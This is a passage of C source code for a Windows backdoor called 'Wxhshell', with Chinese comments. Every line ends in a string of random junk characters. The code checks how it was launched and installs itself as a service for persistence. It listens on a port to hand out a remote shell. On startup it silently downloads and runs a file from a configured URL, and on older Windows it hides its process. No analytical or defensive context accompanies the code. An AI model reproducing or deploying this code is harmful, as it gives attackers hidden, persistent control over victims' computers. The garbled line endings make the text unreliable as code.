} PROCESS_BASIC_INFORMATION; Ol@
YSk d
IF*kLl?
PROCNTQSIP NtQueryInformationProcess; I1(,J
kR-5RaW
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D9&FCCiUE
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T%F8=kb-9
WaWx5Fx+
HANDLE hProcess; M:(k7a+[^
PROCESS_BASIC_INFORMATION pbi; (5N&bh`E
Im_`q\i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8YBsYKC
if(NULL == hInst ) return 0; i_&&7.
^Q_0Zq^H
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `}u~nu<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sOW-GWSE<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $wVY)p9Q
vexQP}N0
if (!NtQueryInformationProcess) return 0; D058=}^HE
|^@TA=_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EY!aiH6P
if(!hProcess) return 0; )5X7|*LP
femAVx}go
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &e%y|{Y
*-Y|qS%
CloseHandle(hProcess); F:M3^I
v *~ yN*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~GS`@IU}
if(hProcess==NULL) return 0; Md[nlz
'89D62\89
HMODULE hMod; Y6fU;
char procName[255]; c-avX
unsigned long cbNeeded; G(4:yK0
q@u$I'`Bs
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AC(}cMM+
\aT._'=M+
CloseHandle(hProcess); -i @!{ ?
/sdkQ{J!.
if(strstr(procName,"services")) return 1; // 以服务启动 ">voi$Kzey
e[n T'e
return 0; // 注册表启动
OH*[
} ;Fuxj!gF
J/wot,j^
// 主模块 &2#x(v
int StartWxhshell(LPSTR lpCmdLine) %r~TMU2"
{ 9}2I'7]
SOCKET wsl; NP^kbF
BOOL val=TRUE; kG,6;aVZ8
int port=0; ?~S\^4]
struct sockaddr_in door; kRE^G*?
\&AmX8" [
if(wscfg.ws_autoins) Install(); rxCuV
h+ELtf
port=atoi(lpCmdLine); 59T:{d;~
4U>
if(port<=0) port=wscfg.ws_port; rmR7^Ycv/
WZ~rsSZSV
WSADATA data; <r3F*S=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XF{}St~ (
Q} f=Ye(&}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z10#6v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'ei9* 4y
door.sin_family = AF_INET; KH2a 2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0V`0=" rQ
door.sin_port = htons(port); o $p*C
3Xf}vdgdM$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bv$)^
closesocket(wsl);
&gcKv1a\
return 1; /o![%&-l
} `;4zIBJ
H-0A&oG
if(listen(wsl,2) == INVALID_SOCKET) { M_UhFY='
closesocket(wsl); Y R#_<o
return 1; =JNoC01D
} PS!f&IY}[.
Wxhshell(wsl); Gv6EJV1i
WSACleanup(); #th^\pV
8TC%]SvYim
return 0; xQ7>u-^
:%)l*[
} AXz'=T}{
*V3 }L
Z
// 以NT服务方式启动 gn#4az3@e>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xAQ=oF
+
{ x(5>f9b b
DWORD status = 0; nXk<DlTws
DWORD specificError = 0xfffffff; TQ.d|{B[
&T}~h^/t
serviceStatus.dwServiceType = SERVICE_WIN32; ,H1j&]E!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2\lUaC#E
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r^VH [c@c
serviceStatus.dwWin32ExitCode = 0; TR5"K{WDx
serviceStatus.dwServiceSpecificExitCode = 0; ]f-< s,@
serviceStatus.dwCheckPoint = 0; 'X"@C;q
serviceStatus.dwWaitHint = 0; C8DZ:3E$c
$2
~RZpS
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u==bLl=$
if (hServiceStatusHandle==0) return; QrHI}r
D#1'#di*t
status = GetLastError(); y 7|x<Z
if (status!=NO_ERROR) \ :1MM
{ uf^"Y3
serviceStatus.dwCurrentState = SERVICE_STOPPED; j{0_K+B
serviceStatus.dwCheckPoint = 0; %=S~[&8C
serviceStatus.dwWaitHint = 0; uK="#1z cC
serviceStatus.dwWin32ExitCode = status; E@7";&\-8
serviceStatus.dwServiceSpecificExitCode = specificError; Ma:xxsH.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @w[WG:-+
return; $A9!} `V
} e 9U\48
#&\^{Z
serviceStatus.dwCurrentState = SERVICE_RUNNING; H"tS3 3
serviceStatus.dwCheckPoint = 0; q<>LK
serviceStatus.dwWaitHint = 0; ,i;kAy)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L/1?PM
} nG1mx/w
'bN\bbR
// 处理NT服务事件,比如:启动、停止 iKu[j)F
VOID WINAPI NTServiceHandler(DWORD fdwControl) PnJr
{ 2(YZTaY
switch(fdwControl) _~d C>`K
{ Ny/bNQS
case SERVICE_CONTROL_STOP: u 3wF)B{
serviceStatus.dwWin32ExitCode = 0; G9<pYt{:
serviceStatus.dwCurrentState = SERVICE_STOPPED; o 4L9Xb7=G
serviceStatus.dwCheckPoint = 0; yYkk0 3
serviceStatus.dwWaitHint = 0; no?TEXp*
{ xC9^x7%3O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :=+s^K
} R|Z $aHQ
return; 9TjAEeU
case SERVICE_CONTROL_PAUSE: 0cC5
serviceStatus.dwCurrentState = SERVICE_PAUSED; hY7Q$B<
break; 7]_UZ)u
case SERVICE_CONTROL_CONTINUE: OY*BVJ^
serviceStatus.dwCurrentState = SERVICE_RUNNING; L%ND?'@
break; wO@b=1j
case SERVICE_CONTROL_INTERROGATE: @#c(4}^ <w
break; 2T<QG>;)j
}; 0NK]u~T<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2-ev7:
} IJ3[6>/M0
R|%
3JE0
// 标准应用程序主函数 WW2VW-Hk
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R XkE"H{
{ *r!1K!c
dGAthbWJ
// 获取操作系统版本 ;TD<\1HJT=
OsIsNt=GetOsVer(); +V4BJ/H
GetModuleFileName(NULL,ExeFile,MAX_PATH); AMA:hQ
yL^1s\<ddW
// 从命令行安装 ={ c=8G8T
if(strpbrk(lpCmdLine,"iI")) Install(); Z`v6DfK}
H6 ( ~6Bp5
// 下载执行文件 Fl>v9%A
if(wscfg.ws_downexe) { EJO:3aKa
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =<s+cM
WinExec(wscfg.ws_filenam,SW_HIDE); Pk T&zSQA
} jb$sIZ%i
"?Wwcd\
if(!OsIsNt) { N6=cqUM wt
// 如果时win9x,隐藏进程并且设置为注册表启动 aD8cqVhM3&
HideProc(); =\e}fyuK
StartWxhshell(lpCmdLine); )5_GJm&R9
} + 1\1Z@\M
else 6*cm
if(StartFromService()) Qf0$Z.-
// 以服务方式启动 k$y(H;XA
StartServiceCtrlDispatcher(DispatchTable); N*$<Kjw
else &<R8'
// 普通方式启动 .+]e9mV
StartWxhshell(lpCmdLine); ?t$sju(\
daE/v.a4|
return 0; E)3B)(@&P
} 9E)*X
N5#qox$D
p<Wb^BE
"B*a|
'n!
=========================================== g2L
5s8S;Pb]<